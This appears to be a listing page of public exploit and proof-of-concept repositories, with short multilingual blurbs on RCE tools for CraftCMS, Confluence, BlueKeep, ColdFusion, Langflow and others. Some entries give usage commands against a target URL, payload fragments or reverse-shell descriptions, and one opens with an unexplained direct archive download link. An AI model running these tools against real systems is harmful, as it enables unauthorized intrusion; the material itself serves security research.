CVE-2025-32432

CraftCMS CVE-2025-32432 익스플로잇 Chirag Artani 개요 이 저장소는 CraftCMS 4.x 및 5.x 버전에 영향을 미치는 사전 인증 원격 코드 실행RCE 취약점인 CVE-2025-32432에 대한 개념 증명 익스플로잇 스크립트를 포함합니다. 이 취약점은 CraftCMS의 자산 변환 생성 기능에 존재합니다. 이 익스플로잇 스크립트는 다음을 통해 취약점 탐지 및 확인을 자동화합니다: 1. CraftCMS 관리자 대시보드에서 CSRF 토큰 추출 2. PHP 객체 주입을 통한 취약점 악용 3. 시스템 정...

CVE-2017-10952

CVE-2017-10952 이것은 Foxit PDF 리더에 대한 로컬 코드 실행 공격의 고급 예제입니다. 이 공격에 대한 자세한 내용은 여기 1에서 확인할 수 있습니다. 1에 링크된 이 취약점에 대한 텍스트 설명을 여기에 복사하여 시간이 지나도 설명이 보존되도록 했습니다. 해당 설명은 vulners.com의 저자 Root가 작성했습니다. Foxit 설치 FoxitReaderv8.3.0.14878.exe를 설치합니다. 설치 과정을 진행합니다. 이는 Foxit PDF 리더의 이 버전을 악용하는 방법에 대한 고급 데모일 뿐이므로,...

CVE-2023-27372-POC

CVE-2023-27372-POC 개요 이 코드는 대상 웹사이트에 CVE-2023-27372 취약점이 존재하는지 탐지하는 Python POCProof of Concept입니다. 단일 URL 또는 여러 URL이 포함된 텍스트 파일을 제공하여 이 코드를 실행할 수 있습니다. 영향 버전: SPIP "; 기능 대상 웹사이트에 CVE-2023-27372 취약점이 있는지 확인합니다. 단일 URL 및 여러 URL이 포함된 텍스트 파일을 지원합니다. 사용 방법 1. 필요한 Python 버전이 설치되어 있는지 확인합니다. 2. 필요한 종속...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep CVE-2019-0708 BlueKeep를 위한 Metasploit 모듈 https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp 에서 가져와 수정함 파일 복사 지침 1. 'rdp'라는 폴더를 /usr/share/metasploit-framework/modules/exploits/windows/에 만듭니다. 2. 파일...

react2shell-toolkit

Next.js RCE アセスメントツールキット 認可された環境において、CVE-2025-55182（別名 React2Shell ）を検証および調査するための Python ツールキットです。この脆弱性は React Server Components に影響し、Next.js などのフレームワークで構築されたアプリケーションを認証なしのリモートコード実行にさらす可能性があります。このツールキットは、ターゲット収集、一括検証、対話型テストシェル、ホスト列挙、およびオプションの検証後ユーティリティを組み合わせたものです。 脆弱性 CVE: CVE-2025-55182 名称:...

CVE-2026-39987-PoC

CVE-2026-39987 PoC 概要 Marimo = 0.20.4 は、/terminal/ws WebSocket エンドポイントにおける認証前 RCE の脆弱性の影響を受けます。 このエンドポイントはアプリケーションモードとターミナルサポートをチェックしますが、WebSocket 接続を受け入れる前に認証を検証しません 。その後、PTY シェルを作成するため、認証されていない攻撃者が Marimo プロセスの権限でコマンドを実行できるようになります。 根本原因 validateauth を呼び出す他の WebSocket...

misfortune-cookie

CVE-2014-9222「Misfortune Cookie」PoCスイート AllegroSoft RomPagerのHTTPクッキー処理におけるスタックオーバーフロー（4.34未満の全バージョン）。細工されたCookie:ヘッダーを含む単一の未認証リクエストでメモリが破壊されます。影響：管理者認証バイパス、DoS/再起動、および（ファームウェア固有のオフセットを使用した）リモートコード実行。 所有しているハードウェア、または明示的にテストを許可されたハードウェアに対してのみ使用してください。 対話型コンソール（推奨） root@kitploit: python3 main.py そ...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 是关于 1Panel...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE 연구 Apache ActiveMQ Classic 의 Jolokia → addNetworkConnector → xbean/Spring-XML 원격 코드 실행 체인CVE-2026-34197 및 해당 패치 우회 CVE-2026-42588에 대한 비공개 연구 아카이브와 수정된 6.2.6 릴리스의 전체 자동 연구 감사 및 Crowdfense의 공개 우회 글과의 나란히 비교입니다. 모든 익스플로잇은 로컬 랩 브로커Docker / 자체 호스팅를 대상으로 수행되었습니다. 페이로드는...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 脆弱性を利用したリバースシェルツール 概要 脆弱性の原理は、CFMLデータクライアントリクエストを構築すると、そのデータがサーバーのcoldfusion-out.logに保存されることです。このディレクトリにはリクエストのエラー情報が記録され、coldfusion-out.logファイルには書き込んだコードが含まれます。その後、classnameを使用してこのログファイルを読み取り実行することで、コード実行を達成します。...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 例 root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" +...

CVE-2025-3248

POC - リモートかつ認証されていない攻撃者が巧妙に細工されたHTTPリクエストを送信して任意のコードを実行できる - CVE-2025-3248 概要 1.3.0 より前の Langflow は、/api/v1/validate/code エンドポイントにおいてコードインジェクションの影響を受けます。リモートかつ認証されていない攻撃者は、巧妙に細工された HTTP リクエストを送信することで任意のコードを実行できます。 完全なPOC 詳細はこちら — CVE-2025-3248 免責事項 : このProof of...

uc_browser_poc_CVE-2022-1364

UCBrowserExploit.js 紹介 以下のすべての内容は、Interrupt Labs が公開した記事で取り上げられている UC ブラウザのエクスプロイトに関するものです。 はじめに このエクスプロイトは、CVE-2022-1364 の RCE バグを含む旧バージョンの UC ブラウザに関連しています。このバグは 2024 年後半に UC ブラウザで修正されました。このエクスプロイトを実行するために追加の依存関係はありません。 ブラウザとエクスプロイトのインストール手順については、提供されている記事のリンクをご参照ください。...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 bludit 완화 로그인을 우회하고 악성 파일을 업로드하여 리버스 셸 실행...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence 사전 인증 RCE | OGNL 인젝션 PoC 스크립트 다운로드 root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 익스플로잇 실행 root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3...

CVE-2017-8464-EXP

CVE-2017-8464-EXP x86 と x64 をサポート テスト用のみ Lnk ファイルの出典: https://github.com/rapid7/metasploit-framework/pull/8767 ykoster に感謝 小さな変更: dll ファイルを置き換え、explorer.exe がクラッシュするバグを修正しました。ykoster がこのバグを修正済み POC: x86: x64: USB ドライブを特定できる場合は、LNK ファイル 1 つで十分です。例: 詳細:...

CVE-2020-36603

CVE-2020-36603 HoYoVerse（旧称 miHoYo）の Genshin Impact mhyprot2.sys 1.0.0.0 アンチチートドライバは、特権のない関数呼び出しを適切に制限しておらず、ローカルの非特権ユーザーが Microsoft Windows システム上で SYSTEM 権限を持つ任意のコードを実行できるようにします。mhyprot2.sys ドライバは、最初に管理者権限を持つユーザーによってインストールされる必要があります。 authentication| complexity| vector ---|---|--- 未定義| 未定義| 未定義...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel CVE-2020-11819 및 CVE-2020-15946에 대한 개념 증명. Rukovoditel 2.4.x, 2.5.x 및 2.6.1에서 테스트됨. 설명: 이 익스플로잇에는 두 가지 실행 모드가 있습니다: 세션 고정 취약점CVE-2020-15946을 사용하거나, 모든 프로필 아래의 모든 계정의 접근 자격 증명을 사용하는 것입니다. --type L 옵션을 사용하면 이 스크립트는 악성 링크를 생성합니다. 피해자가 브라우저에서 링크에 접근하면, 임의의 세션 식별자가 설정되어 피해자의 세션을 훔치...

csv-plus_vulnerability

csv-plusvulnerability 👻 2クリック任意コード実行の脆弱性 CVE-2022-21241 ⚠ このPoCは、ユーザーに注意を促し、自身のCSV+の脆弱性を調査するために作成されたものであり、攻撃に使用することは禁止されています。 脆弱性 以下のバージョンが脆弱です。 CSV+ click me 👻 https://electronooooo.htmlbin.net/xsscalc.html は一時的なリンクです。 悪意のあるHTMLファイル calc root@kitploit: var cmd = "calc";...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 구성 스캐너 언어: 한국어 | English 이는 NGINX 구성에 CVE-2026-42945NGINX Rift 및 CVE-2026-9256 위험 패턴이 존재하는지 확인하는 경량 스크립트입니다. 이 취약점은 depthfirst가 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 문서에서 공개했습니다. 기사와 F5/NVD 설명에 따르면 위험은 ngxhttprewritemodule의 특정 구성 조합과 관련됩니다: 동일한 구성 컨텍스트에서...